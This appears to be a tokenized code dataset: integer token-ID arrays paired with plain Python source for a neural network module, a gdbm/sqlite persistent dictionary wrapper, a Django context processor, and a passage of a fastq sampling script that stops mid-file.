822,
4770,
2344,
12035,
1311,
29892,
297,
29918,
305,
12629,
1125,
13,
4706,
2428,
29898,
29902,
7099,
29940,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
1583,
29889,
14394,
29918,
1062,
13857,
29918,
29277,
29918,
29909,
353,
5169,
1535,
5647,
29878,
362,
29931,
388,
414,
29909,
29898,
262,
29918,
305,
12629,
29897,
13,
4706,
1583,
29889,
3027,
29918,
7099,
29918,
1271,
29918,
29896,
353,
7084,
6185,
7445,
29898,
29896,
29929,
29906,
29930,
29941,
29892,
29871,
29906,
29945,
29953,
29897,
13,
4706,
1583,
29889,
3027,
29918,
7099,
29918,
1271,
29918,
29906,
353,
7084,
6185,
7445,
29898,
29906,
29945,
29953,
29930,
29941,
29974,
29896,
29906,
29947,
29974,
29945,
29896,
29906,
29892,
29871,
29896,
29906,
29947,
29897,
462,
259,
396,
18196,
310,
518,
3027,
29918,
7099,
29918,
1271,
29892,
13,
4706,
1583,
29889,
14394,
29918,
1062,
13857,
29918,
29277,
29918,
29933,
353,
5169,
1535,
5647,
29878,
362,
29931,
388,
414,
29933,
29898,
29896,
29906,
29947,
29930,
29941,
29974,
29953,
29946,
29974,
29906,
29945,
29953,
29897,
268,
396,
4682,
29918,
264,
29882,
27967,
29918,
29277,
29892,
325,
1505,
29896,
29953,
29962,
13,
4706,
1583,
29889,
3027,
29918,
7099,
29918,
1271,
29918,
29941,
353,
7084,
6185,
7445,
29898,
29896,
29929,
29906,
29974,
29896,
29929,
29906,
29974,
29896,
29906,
29947,
29974,
29896,
29906,
29947,
29892,
29871,
29953,
29946,
29897,
13,
4706,
1583,
29889,
3027,
29918,
7099,
29918,
1271,
29918,
29946,
353,
7084,
6185,
7445,
29898,
29953,
29946,
29930,
29941,
29974,
29941,
29906,
29974,
29896,
29906,
29947,
29892,
29871,
29941,
29906,
29897,
13,
4706,
1583,
29889,
3027,
29918,
7099,
29918,
1271,
29918,
29945,
353,
7084,
6185,
7445,
29898,
29941,
29906,
29930,
29941,
29974,
29896,
29953,
29974,
29953,
29946,
29892,
29871,
29896,
29953,
29897,
13,
4706,
1583,
29889,
29883,
2291,
29918,
4905,
29918,
29896,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29896,
29953,
29930,
29941,
29974,
29896,
29892,
29871,
29896,
29953,
29892,
29871,
29941,
29892,
29871,
29896,
29892,
29871,
29896,
29897,
13,
4706,
1583,
29889,
29883,
2291,
29918,
4905,
29918,
29906,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29896,
29953,
29892,
29871,
29941,
29892,
29871,
29941,
29892,
29871,
29896,
29892,
29871,
29896,
29897,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
274,
29918,
22100,
29892,
427,
29308,
29918,
22100,
29892,
921,
29918,
29887,
1125,
13,
4706,
921,
29918,
1327,
29918,
29896,
29892,
921,
29918,
1327,
29918,
29906,
29892,
921,
29918,
1327,
29918,
29941,
29892,
921,
29918,
1327,
29918,
29946,
29892,
921,
29918,
29883,
353,
274,
29918,
22100,
13,
4706,
921,
29918,
264,
29308,
29918,
29896,
29892,
921,
29918,
264,
29308,
29918,
29906,
29892,
921,
29918,
264,
29308,
29918,
29941,
29892,
921,
29918,
264,
29308,
29918,
29946,
353,
427,
29308,
29918,
22100,
13,
13,
4706,
921,
353,
1583,
29889,
14394,
29918,
1062,
13857,
29918,
29277,
29918,
29909,
29898,
29916,
29918,
29883,
29897,
13,
4706,
921,
353,
1583,
29889,
3027,
29918,
7099,
29918,
1271,
29918,
29896,
29898,
29916,
29897,
13,
4706,
921,
353,
4842,
305,
29889,
4117,
4197,
29916,
29892,
921,
29918,
1327,
29918,
29946,
29892,
921,
29918,
264,
29308,
29918,
29896,
1402,
3964,
29922,
29896,
29897,
13,
13,
4706,
921,
353,
1583,
29889,
3027,
29918,
7099,
29918,
1271,
29918,
29906,
29898,
29916,
29897,
13,
4706,
921,
353,
4842,
305,
29889,
4117,
4197,
29916,
29892,
921,
29918,
1327,
29918,
29941,
29892,
921,
29918,
264,
29308,
29918,
29906,
1402,
3964,
29922,
29896,
29897,
13,
13,
4706,
921,
353,
1583,
29889,
14394,
29918,
1062,
13857,
29918,
29277,
29918,
29933,
29898,
29916,
29897,
13,
4706,
921,
353,
1583,
29889,
3027,
29918,
7099,
29918,
1271,
29918,
29941,
29898,
29916,
29897,
13,
4706,
921,
353,
4842,
305,
29889,
4117,
4197,
29916,
29892,
921,
29918,
1327,
29918,
29906,
29892,
921,
29918,
264,
29308,
29918,
29941,
1402,
3964,
29922,
29896,
29897,
13,
13,
4706,
921,
353,
1583,
29889,
3027,
29918,
7099,
29918,
1271,
29918,
29946,
29898,
29916,
29897,
13,
4706,
921,
353,
4842,
305,
29889,
4117,
4197,
29916,
29892,
921,
29918,
1327,
29918,
29896,
29892,
921,
29918,
264,
29308,
29918,
29946,
1402,
3964,
29922,
29896,
29897,
13,
13,
4706,
921,
353,
1583,
29889,
3027,
29918,
7099,
29918,
1271,
29918,
29945,
29898,
29916,
29897,
13,
4706,
396,
1596,
29898,
29916,
29889,
12181,
29892,
921,
29918,
29887,
29889,
12181,
29897,
13,
4706,
921,
353,
4842,
305,
29889,
4117,
4197,
29916,
29892,
921,
29918,
29887,
1402,
3964,
29922,
29896,
29897,
13,
13,
4706,
921,
353,
1583,
29889,
29883,
2291,
29918,
4905,
29918,
29896,
29898,
29916,
29897,
13,
4706,
707,
29918,
29890,
353,
1583,
29889,
29883,
2291,
29918,
4905,
29918,
29906,
29898,
29916,
29897,
13,
13,
4706,
736,
707,
29918,
29890,
13,
13,
13,
1990,
1174,
29882,
27967,
29931,
388,
414,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
2428,
29898,
2369,
29882,
27967,
29931,
388,
414,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
1583,
29889,
264,
29882,
27967,
29918,
29277,
29918,
29896,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29906,
29945,
29953,
29892,
29871,
29896,
29906,
29947,
29892,
29871,
29955,
29892,
29871,
29896,
29892,
29871,
29941,
29897,
13,
4706,
1583,
29889,
264,
29882,
27967,
29918,
29277,
29918,
29906,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29896,
29906,
29947,
29892,
29871,
29953,
29946,
29892,
29871,
29955,
29892,
29871,
29896,
29892,
29871,
29941,
29897,
13,
4706,
1583,
29889,
264,
29882,
27967,
29918,
29277,
29918,
29941,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29953,
29946,
29892,
29871,
29941,
29906,
29892,
29871,
29955,
29892,
29871,
29896,
29892,
29871,
29941,
29897,
13,
4706,
1583,
29889,
264,
29882,
27967,
29918,
29277,
29918,
29946,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29941,
29906,
29892,
29871,
29896,
29953,
29892,
29871,
29955,
29892,
29871,
29896,
29892,
29871,
29941,
29897,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
304,
29918,
915,
29918,
264,
29308,
29918,
22100,
1125,
13,
4706,
921,
29918,
264,
29308,
29918,
29896,
353,
1583,
29889,
264,
29882,
27967,
29918,
29277,
29918,
29896,
29898,
517,
29918,
915,
29918,
264,
29308,
29918,
22100,
29961,
29900,
2314,
13,
4706,
921,
29918,
264,
29308,
29918,
29906,
353,
1583,
29889,
264,
29882,
27967,
29918,
29277,
29918,
29906,
29898,
517,
29918,
915,
29918,
264,
29308,
29918,
22100,
29961,
29896,
2314,
13,
4706,
921,
29918,
264,
29308,
29918,
29941,
353,
1583,
29889,
264,
29882,
27967,
29918,
29277,
29918,
29941,
29898,
517,
29918,
915,
29918,
264,
29308,
29918,
22100,
29961,
29906,
2314,
13,
4706,
921,
29918,
264,
29308,
29918,
29946,
353,
1583,
29889,
264,
29882,
27967,
29918,
29277,
29918,
29946,
29898,
517,
29918,
915,
29918,
264,
29308,
29918,
22100,
29961,
29941,
2314,
13,
308,
13,
4706,
736,
921,
29918,
264,
29308,
29918,
29896,
29892,
921,
29918,
264,
29308,
29918,
29906,
29892,
921,
29918,
264,
29308,
29918,
29941,
29892,
921,
29918,
264,
29308,
29918,
29946,
13,
13,
13,
1990,
3189,
29934,
29934,
29940,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
2428,
29898,
7967,
29934,
29934,
29940,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
1583,
29889,
3977,
6119,
29918,
4703,
353,
315,
3977,
29940,
580,
13,
4706,
1583,
29889,
7099,
6119,
29918,
24970,
353,
402,
7099,
29940,
580,
13,
4706,
1583,
29889,
264,
29882,
27967,
29918,
29277,
353,
1174,
29882,
27967,
29931,
388,
414,
580,
13,
4706,
1583,
29889,
7099,
6119,
29918,
3027,
353,
306,
7099,
29940,
29898,
262,
29918,
305,
12629,
29922,
29906,
29945,
29953,
29897,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
1125,
13,
4706,
274,
29918,
22100,
353,
1583,
29889,
3977,
6119,
29918,
4703,
29898,
29916,
29897,
13,
4706,
330,
29918,
22100,
353,
1583,
29889,
7099,
6119,
29918,
24970,
29898,
29883,
29918,
22100,
7503,
29899,
29896,
2314,
13,
4706,
427,
29308,
29918,
22100,
353,
1583,
29889,
264,
29882,
27967,
29918,
29277,
29898,
29887,
29918,
22100,
7503,
29899,
29896,
2314,
13,
4706,
707,
29918,
29890,
353,
1583,
29889,
7099,
6119,
29918,
3027,
29898,
29883,
29918,
22100,
29892,
427,
29308,
29918,
22100,
29892,
330,
29918,
22100,
14352,
29896,
2314,
13,
13,
4706,
4844,
800,
353,
11117,
29878,
2396,
921,
29899,
342,
29918,
29890,
29892,
525,
29887,
2396,
330,
29918,
22100,
14352,
29896,
1402,
525,
29890,
2396,
707,
29918,
29890,
29913,
13,
4706,
736,
4844,
800,
13,
2
] |
wikipediabase/persistentkv.py | fakedrake/WikipediaBase | 1 | 21388 | """
Some persistent maps (gdbm) require special encoding of keys
and/or values. This is an abstraction for these kinds of quirks.
"""
from itertools import imap
import collections
import gdbm as dbm
import json
from sqlitedict import SqliteDict
import os
class EncodedDict(collections.MutableMapping):
"""
Subclass this and provide any of the following (see
implementatiokn for signatures)
- db
- _init()
- _encode_key
- _decode_key.
"""
def __init__(self, wrapped=None):
self.db = wrapped if wrapped is not None else dict()
def _encode_key(self, key):
"""
Override to encode keys coming in.
"""
return key
def _decode_key(self, key):
"""
Override to encode keys going out.
"""
return key
def __del__(self):
del self.db
def __setitem__(self, key, val):
self.db[self._encode_key(key)] = val
def __getitem__(self, key):
return self.db[self._encode_key(key)]
def __contains__(self, key):
return self._encode_key(key) in self.keys()
def __delitem__(self, key):
del self.db[self._encode_key(key)]
def __iter__(self):
return imap(self._decode_key, self.db.keys())
def __len__(self):
return len(self.db)
def keys(self):
return list(self)
def values(self):
return self.db.values()
def items(self):
return [(self._decode_key(key), v) for key,v in self.db.iteritems()]
def to_json(self, filename):
json.dump([(k,v) for k,v in self.db.iteritems()],
open(filename, 'w'))
def from_json(self, filename):
for k,v in json.load(open(filename)):
self.db[k] = v
class DbmPersistentDict(EncodedDict):
"""
Persistent dict using dbm. Will open or create filename.
"""
def __init__(self, filename):
flag = 'w' if os.path.exists(filename) else 'n'
super(DbmPersistentDict, self).__init__(dbm.open(filename, flag))
def _encode_key(self, key):
# Asciify
if isinstance(key, unicode):
return key.encode('unicode_escape')
return str(key)
def _decode_key(self, key):
# Unicodify
return key.decode('unicode_escape')
class SqlitePersistentDict(EncodedDict):
def __init__(self, filename):
if not filename.endswith('.sqlite'):
filename += '.sqlite'
db = SqliteDict(filename)
super(SqlitePersistentDict, self).__init__(db)
def __del__(self):
self.db.close()
super(SqlitePersistentDict, self).__del__()
"""
Some info on performance:
>>> import timeit
>>> sqlkv = SqlitePersistentDict('/tmp/bench1.sqlite')
>>> timeit.timeit(lambda : benchmark_write(sqlkv), number=100)
10.847157955169678
>>> timeit.timeit(lambda : benchmark_read(sqlkv), number=100)
18.88098978996277
>>> dbmkv = DbmPersistentDict('/tmp/bench.dbm')
>>> timeit.timeit(lambda : benchmark_write(dbmkv), number=100)
0.18030309677124023
>>> timeit.timeit(lambda : benchmark_read(dbmkv), number=100)
0.14914202690124512
SqliteDict is a pretty thin wrapper around sqlite, I would probably
not have made it much thinner. Just use Dbm.
Keep this around in case anyone considers changing to sqlite.
XXX: see how gdbm does when data is larger than memory. Also check out
bsddb
"""
# PersistentDict = SqlitePersistentDict
PersistentDict = DbmPersistentDict
def benchmark_write(dic, times=100000):
for i in xrange(times):
dic['o' + str(i)] = str(i) * 1000
def benchmark_read(dic, times=100000):
for i in xrange(times):
dic['o' + str(i)]
| [
1,
9995,
13,
9526,
28152,
11053,
313,
29887,
2585,
29885,
29897,
1996,
4266,
8025,
310,
6611,
13,
392,
29914,
272,
1819,
29889,
910,
338,
385,
27086,
428,
363,
1438,
17690,
310,
439,
27064,
29889,
13,
15945,
29908,
13,
13,
3166,
4256,
8504,
1053,
527,
481,
13,
13,
5215,
16250,
13,
5215,
330,
2585,
29885,
408,
4833,
29885,
13,
5215,
4390,
13,
3166,
4576,
1573,
919,
1053,
13093,
568,
21533,
13,
5215,
2897,
13,
13,
1990,
11346,
6797,
21533,
29898,
29027,
29889,
15211,
15845,
1125,
13,
1678,
9995,
13,
1678,
3323,
1990,
445,
322,
3867,
738,
310,
278,
1494,
313,
4149,
13,
1678,
2334,
2219,
554,
29876,
363,
1804,
3698,
29897,
13,
13,
1678,
448,
4833,
13,
1678,
448,
903,
2344,
580,
13,
1678,
448,
903,
12508,
29918,
1989,
13,
1678,
448,
903,
13808,
29918,
1989,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
21021,
29922,
8516,
1125,
13,
4706,
1583,
29889,
2585,
353,
21021,
565,
21021,
338,
451,
6213,
1683,
9657,
580,
13,
13,
1678,
822,
903,
12508,
29918,
1989,
29898,
1311,
29892,
1820,
1125,
13,
4706,
9995,
13,
4706,
6811,
2426,
304,
19750,
6611,
6421,
297,
29889,
13,
4706,
9995,
13,
4706,
736,
1820,
13,
13,
1678,
822,
903,
13808,
29918,
1989,
29898,
1311,
29892,
1820,
1125,
13,
4706,
9995,
13,
4706,
6811,
2426,
304,
19750,
6611,
2675,
714,
29889,
13,
4706,
9995,
13,
4706,
736,
1820,
13,
13,
1678,
822,
4770,
6144,
12035,
1311,
1125,
13,
4706,
628,
1583,
29889,
2585,
13,
13,
1678,
822,
4770,
842,
667,
12035,
1311,
29892,
1820,
29892,
659,
1125,
13,
4706,
1583,
29889,
2585,
29961,
1311,
3032,
12508,
29918,
1989,
29898,
1989,
4638,
353,
659,
13,
13,
1678,
822,
4770,
657,
667,
12035,
1311,
29892,
1820,
1125,
13,
4706,
736,
1583,
29889,
2585,
29961,
1311,
3032,
12508,
29918,
1989,
29898,
1989,
4638,
13,
13,
1678,
822,
4770,
11516,
12035,
1311,
29892,
1820,
1125,
13,
4706,
736,
1583,
3032,
12508,
29918,
1989,
29898,
1989,
29897,
297,
1583,
29889,
8149,
580,
13,
13,
1678,
822,
4770,
6144,
667,
12035,
1311,
29892,
1820,
1125,
13,
4706,
628,
1583,
29889,
2585,
29961,
1311,
3032,
12508,
29918,
1989,
29898,
1989,
4638,
13,
13,
1678,
822,
4770,
1524,
12035,
1311,
1125,
13,
4706,
736,
527,
481,
29898,
1311,
3032,
13808,
29918,
1989,
29892,
1583,
29889,
2585,
29889,
8149,
3101,
13,
13,
1678,
822,
4770,
2435,
12035,
1311,
1125,
13,
4706,
736,
7431,
29898,
1311,
29889,
2585,
29897,
13,
13,
1678,
822,
6611,
29898,
1311,
1125,
13,
4706,
736,
1051,
29898,
1311,
29897,
13,
13,
1678,
822,
1819,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
2585,
29889,
5975,
580,
13,
13,
1678,
822,
4452,
29898,
1311,
1125,
13,
4706,
736,
17288,
1311,
3032,
13808,
29918,
1989,
29898,
1989,
511,
325,
29897,
363,
1820,
29892,
29894,
297,
1583,
29889,
2585,
29889,
1524,
7076,
580,
29962,
13,
13,
1678,
822,
304,
29918,
3126,
29898,
1311,
29892,
10422,
1125,
13,
4706,
4390,
29889,
15070,
4197,
29898,
29895,
29892,
29894,
29897,
363,
413,
29892,
29894,
297,
1583,
29889,
2585,
29889,
1524,
7076,
580,
1402,
13,
462,
29871,
1722,
29898,
9507,
29892,
525,
29893,
8785,
13,
13,
1678,
822,
515,
29918,
3126,
29898,
1311,
29892,
10422,
1125,
13,
4706,
363,
413,
29892,
29894,
297,
4390,
29889,
1359,
29898,
3150,
29898,
9507,
22164,
13,
9651,
1583,
29889,
2585,
29961,
29895,
29962,
353,
325,
13,
13,
13,
1990,
360,
5838,
15136,
9696,
21533,
29898,
8566,
6797,
21533,
1125,
13,
1678,
9995,
13,
1678,
9034,
9696,
9657,
773,
4833,
29885,
29889,
2811,
1722,
470,
1653,
10422,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
10422,
1125,
13,
4706,
7353,
353,
525,
29893,
29915,
565,
2897,
29889,
2084,
29889,
9933,
29898,
9507,
29897,
1683,
525,
29876,
29915,
13,
13,
4706,
2428,
29898,
29928,
5838,
15136,
9696,
21533,
29892,
1583,
467,
1649,
2344,
12035,
2585,
29885,
29889,
3150,
29898,
9507,
29892,
7353,
876,
13,
13,
1678,
822,
903,
12508,
29918,
1989,
29898,
1311,
29892,
1820,
1125,
13,
4706,
396,
1094,
455,
1598,
13,
4706,
565,
338,
8758,
29898,
1989,
29892,
29104,
1125,
13,
9651,
736,
1820,
29889,
12508,
877,
2523,
356,
29918,
21587,
1495,
13,
13,
4706,
736,
851,
29898,
1989,
29897,
13,
13,
1678,
822,
903,
13808,
29918,
1989,
29898,
1311,
29892,
1820,
1125,
13,
4706,
396,
853,
293,
397,
1598,
13,
4706,
736,
1820,
29889,
13808,
877,
2523,
356,
29918,
21587,
1495,
13,
13,
13,
1990,
13093,
568,
15136,
9696,
21533,
29898,
8566,
6797,
21533,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
10422,
1125,
13,
4706,
565,
451,
10422,
29889,
1975,
2541,
12839,
22793,
29374,
13,
9651,
10422,
4619,
15300,
22793,
29915,
13,
13,
4706,
4833,
353,
13093,
568,
21533,
29898,
9507,
29897,
13,
4706,
2428,
29898,
10520,
568,
15136,
9696,
21533,
29892,
1583,
467,
1649,
2344,
12035,
2585,
29897,
13,
13,
1678,
822,
4770,
6144,
12035,
1311,
1125,
13,
4706,
1583,
29889,
2585,
29889,
5358,
580,
13,
4706,
2428,
29898,
10520,
568,
15136,
9696,
21533,
29892,
1583,
467,
1649,
6144,
1649,
580,
13,
13,
13,
15945,
29908,
13,
9526,
5235,
373,
4180,
29901,
13,
13,
6778,
29958,
1053,
931,
277,
13,
6778,
29958,
4576,
27049,
353,
13093,
568,
15136,
9696,
21533,
11219,
7050,
29914,
1785,
305,
29896,
29889,
22793,
1495,
13,
6778,
29958,
931,
277,
29889,
2230,
277,
29898,
2892,
584,
23513,
29918,
3539,
29898,
2850,
27049,
511,
1353,
29922,
29896,
29900,
29900,
29897,
13,
29896,
29900,
29889,
29947,
29946,
29955,
29896,
29945,
29955,
29929,
29945,
29945,
29896,
29953,
29929,
29953,
29955,
29947,
13,
6778,
29958,
931,
277,
29889,
2230,
277,
29898,
2892,
584,
23513,
29918,
949,
29898,
2850,
27049,
511,
1353,
29922,
29896,
29900,
29900,
29897,
13,
29896,
29947,
29889,
29947,
29947,
29900,
29929,
29947,
29929,
29955,
29947,
29929,
29929,
29953,
29906,
29955,
29955,
13,
6778,
29958,
4833,
11256,
29894,
353,
360,
5838,
15136,
9696,
21533,
11219,
7050,
29914,
1785,
305,
29889,
2585,
29885,
1495,
13,
6778,
29958,
931,
277,
29889,
2230,
277,
29898,
2892,
584,
23513,
29918,
3539,
29898,
2585,
11256,
29894,
511,
1353,
29922,
29896,
29900,
29900,
29897,
13,
29900,
29889,
29896,
29947,
29900,
29941,
29900,
29941,
29900,
29929,
29953,
29955,
29955,
29896,
29906,
29946,
29900,
29906,
29941,
13,
6778,
29958,
931,
277,
29889,
2230,
277,
29898,
2892,
584,
23513,
29918,
949,
29898,
2585,
11256,
29894,
511,
1353,
29922,
29896,
29900,
29900,
29897,
13,
29900,
29889,
29896,
29946,
29929,
29896,
29946,
29906,
29900,
29906,
29953,
29929,
29900,
29896,
29906,
29946,
29945,
29896,
29906,
13,
13,
10520,
568,
21533,
338,
263,
5051,
16835,
14476,
2820,
21120,
29892,
306,
723,
3117,
13,
1333,
505,
1754,
372,
1568,
266,
3993,
29889,
3387,
671,
360,
5838,
29889,
13,
13,
9598,
1022,
445,
2820,
297,
1206,
5019,
1136,
11376,
6480,
304,
21120,
29889,
13,
13,
22791,
29901,
1074,
920,
330,
2585,
29885,
947,
746,
848,
338,
7200,
1135,
3370,
29889,
3115,
1423,
714,
13,
5824,
1289,
29890,
13,
15945,
29908,
13,
13,
29937,
9034,
9696,
21533,
353,
13093,
568,
15136,
9696,
21533,
13,
15136,
9696,
21533,
353,
360,
5838,
15136,
9696,
21533,
13,
13,
1753,
23513,
29918,
3539,
29898,
27774,
29892,
3064,
29922,
29896,
29900,
29900,
29900,
29900,
29900,
1125,
13,
1678,
363,
474,
297,
921,
3881,
29898,
3706,
1125,
13,
4706,
12124,
1839,
29877,
29915,
718,
851,
29898,
29875,
4638,
353,
851,
29898,
29875,
29897,
334,
29871,
29896,
29900,
29900,
29900,
13,
13,
1753,
23513,
29918,
949,
29898,
27774,
29892,
3064,
29922,
29896,
29900,
29900,
29900,
29900,
29900,
1125,
13,
1678,
363,
474,
297,
921,
3881,
29898,
3706,
1125,
13,
4706,
12124,
1839,
29877,
29915,
718,
851,
29898,
29875,
4638,
13,
2
] |
web/apps/web_copo/context_processors.py | rpatil524/COPO | 0 | 171273 | <reponame>rpatil524/COPO
__author__ = '<EMAIL> - 27/05/15'
from dal import Profile_Status_Info
def get_status(request):
# call method to obtain number of profiles which have outstanding issues
issues = Profile_Status_Info().get_profiles_status()
if issues['num_issues'] == 0:
return {'num_issues': ''}
else:
return {'num_issues': issues['num_issues'], 'issue_description_list': issues['issue_description_list']}
def add_partial_submissions_to_context(request):
return {'partial_submissions': 'ommitted'}
| [
1,
529,
276,
1112,
420,
29958,
29878,
5031,
309,
29945,
29906,
29946,
29914,
3217,
13152,
13,
1649,
8921,
1649,
353,
12801,
26862,
6227,
29958,
448,
29871,
29906,
29955,
29914,
29900,
29945,
29914,
29896,
29945,
29915,
13,
3166,
2959,
1053,
20802,
29918,
5709,
29918,
3401,
13,
13,
13,
1753,
679,
29918,
4882,
29898,
3827,
1125,
13,
1678,
396,
1246,
1158,
304,
4017,
1353,
310,
28723,
607,
505,
714,
11235,
5626,
13,
1678,
5626,
353,
20802,
29918,
5709,
29918,
3401,
2141,
657,
29918,
771,
5325,
29918,
4882,
580,
13,
1678,
565,
5626,
1839,
1949,
29918,
12175,
2033,
1275,
29871,
29900,
29901,
13,
4706,
736,
11117,
1949,
29918,
12175,
2396,
6629,
29913,
13,
1678,
1683,
29901,
13,
4706,
736,
11117,
1949,
29918,
12175,
2396,
5626,
1839,
1949,
29918,
12175,
7464,
525,
15118,
29918,
8216,
29918,
1761,
2396,
5626,
1839,
15118,
29918,
8216,
29918,
1761,
2033,
29913,
13,
13,
13,
1753,
788,
29918,
3846,
29918,
1491,
29885,
6847,
29918,
517,
29918,
4703,
29898,
3827,
1125,
13,
1678,
736,
11117,
3846,
29918,
1491,
29885,
6847,
2396,
525,
3011,
4430,
10827,
13,
13,
2
] |
fastq/randomly_sample_fastq.py | linsalrob/EdwardsLab | 30 | 179774 | """
Randomly sample a fraction of a fastq file and just create one file
Note that if -p is 100 you will randomize the order of sequences in the file
"""
import os
import sys
import argparse
from random import sample
from roblib import stream_fastq, message
__author__ = '<NAME>'
__copyright__ = 'Copyright 2020, <NAME>'
__credits__ = ['<NAME>']
__license__ = 'MIT'
__maintainer__ = '<NAME>'
__email__ = '<EMAIL>'
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="Randomly sample a single fastq file")
parser.add_argument('-f', help='fastq file to sample', required=True)
parser.add_argument('-o', help='output file name', required=True)
parser.add_argument('-p', help='percent of the file to sample', type=int)
parser.add_argument('-s', help='maxium size to write (Human readable format ok: K, M, G. eg 100M)')
parser.add_argument('-v', help='verbose output', action='store_true')
args = parser.parse_args()
if not args.s and not args.p:
message("Either -s or -p must be provided", "RED")
exit(-1)
sequences = []
for seqid, header, seq, qualscores in stream_fastq(args.f):
sequences.append([header, seq, qualscores])
n = len(sequences)
maxsize = 1e20
if args.s:
size = args.s
# convert the units to 1000's
size_name = ["B", "K", "M", "G", "T", "P", "E", "Z", "Y"]
try:
if size[-1] in size_name:
unit = size[-1]
maxsize = (1024 ** size_name.index(unit)) * int(size[:-1])
message(f"Limiting to {maxsize}", "GREEN")
else:
maxsize = int(size)
except ValueError as e:
message(f"Can't parse size from {size}", "RED", stderr=True)
exit(-1)
if args.p:
n = int(args.p/100 * len(sequences))
if args.v:
message(f"There are {len(sequences)} sequences. So we will sample {n} elements", "GREEN")
processed_size = 0
with open(args.o, 'w') as out:
for s in sample(sequences, n):
out.write(f"@{s[0]}\n{s[1]}\n+\n{s[2]}\n")
processed_size += len(s[1])
if processed_size > maxsize:
break
| [
1,
9995,
13,
17875,
368,
4559,
263,
15958,
310,
263,
5172,
29939,
934,
322,
925,
1653,
697,
934,
13,
13,
9842,
393,
565,
448,
29886,
338,
29871,
29896,
29900,
29900,
366,
674,
4036,
675,
278,
1797,
310,
15602,
297,
278,
934,
13,
15945,
29908,
13,
13,
5215,
2897,
13,
5215,
10876,
13,
5215,
1852,
5510,
13,
3166,
4036,
1053,
4559,
13,
3166,
10832,
1982,
1053,
4840,
29918,
11255,
29939,
29892,
2643,
13,
13,
1649,
8921,
1649,
353,
12801,
5813,
16299,
13,
1649,
8552,
1266,
1649,
353,
525,
11882,
1266,
29871,
29906,
29900,
29906,
29900,
29892,
529,
5813,
16299,
13,
1649,
11944,
1169,
1649,
353,
6024,
29966,
5813,
29958,
2033,
13,
1649,
506,
1947,
1649,
353,
525,
26349,
29915,
13,
1649,
29885,
2365,
4008,
1649,
353,
12801,
5813,
16299,
13,
1649,
5269,
1649,
353,
12801,
26862,
6227,
16299,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
13812,
353,
1852,
5510,
29889,
15730,
11726,
29898,
8216,
543,
17875,
368,
4559,
263,
2323,
5172,
29939,
934,
1159,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
29899,
29888,
742,
1371,
2433,
11255,
29939,
934,
304,
4559,
742,
3734,
29922,
5574,
29897,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
29899,
29877,
742,
1371,
2433,
4905,
934,
1024,
742,
3734,
29922,
5574,
29897,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
29899,
29886,
742,
1371,
2433,
25376,
310,
278,
934,
304,
4559,
742,
1134,
29922,
524,
29897,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
29899,
29879,
742,
1371,
2433,
3317,
1974,
2159,
304,
2436,
313,
29950,
7889,
19909,
3402,
3431,
29901,
476,
29892,
341,
29892,
402,
29889,
8087,
29871,
29896,
29900,
29900,
29924,
29897,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
29899,
29894,
742,
1371,
2433,
369,
15828,
1962,
742,
3158,
2433,
8899,
29918,
3009,
1495,
13,
1678,
6389,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
13,
1678,
565,
451,
6389,
29889,
29879,
322,
451,
6389,
29889,
29886,
29901,
13,
4706,
2643,
703,
29923,
2121,
448,
29879,
470,
448,
29886,
1818,
367,
4944,
613,
376,
19386,
1159,
13,
4706,
6876,
6278,
29896,
29897,
13,
13,
1678,
15602,
353,
5159,
13,
1678,
363,
19359,
333,
29892,
4839,
29892,
19359,
29892,
439,
1338,
29883,
2361,
297,
4840,
29918,
11255,
29939,
29898,
5085,
29889,
29888,
1125,
13,
4706,
15602,
29889,
4397,
4197,
6672,
29892,
19359,
29892,
439,
1338,
29883,
2361,
2314,
13,
13,
1678,
302,
353,
7431,
29898,
6831,
2063,
29897,
13,
1678,
4236,
2311,
353,
29871,
29896,
29872,
29906,
29900,
13,
13,
1678,
565,
6389,
29889,
29879,
29901,
13,
4706,
2159,
353,
6389,
29889,
29879,
13,
4706,
396,
3588,
278,
10340,
304,
29871,
29896,
29900,
29900,
29900,
29915,
29879,
13,
4706,
2159,
29918,
978,
353,
6796,
29933,
613,
376,
29968,
613,
376,
29924,
613,
376,
29954,
613,
376,
29911,
613,
376,
29925,
613,
376,
29923,
613,
376,
29999,
613,
376,
29979,
3108,
13,
4706,
1018,
29901,
13,
9651,
565,
2159,
14352,
29896,
29962,
297,
2159,
29918,
978,
29901,
13,
18884,
5190,
353,
2159,
14352,
29896,
29962,
13,
18884,
4236,
2311,
353,
313,
29896,
29900,
29906,
29946,
3579,
2159,
29918,
978,
29889,
2248,
29898,
5441,
876,
334,
938,
29898,
2311,
7503,
29899,
29896,
2314,
13,
18884,
2643,
29898,
29888,
29908,
29931,
326,
11407,
304,
426,
3317,
2311,
17671,
376,
29954,
1525,
1430,
1159,
13,
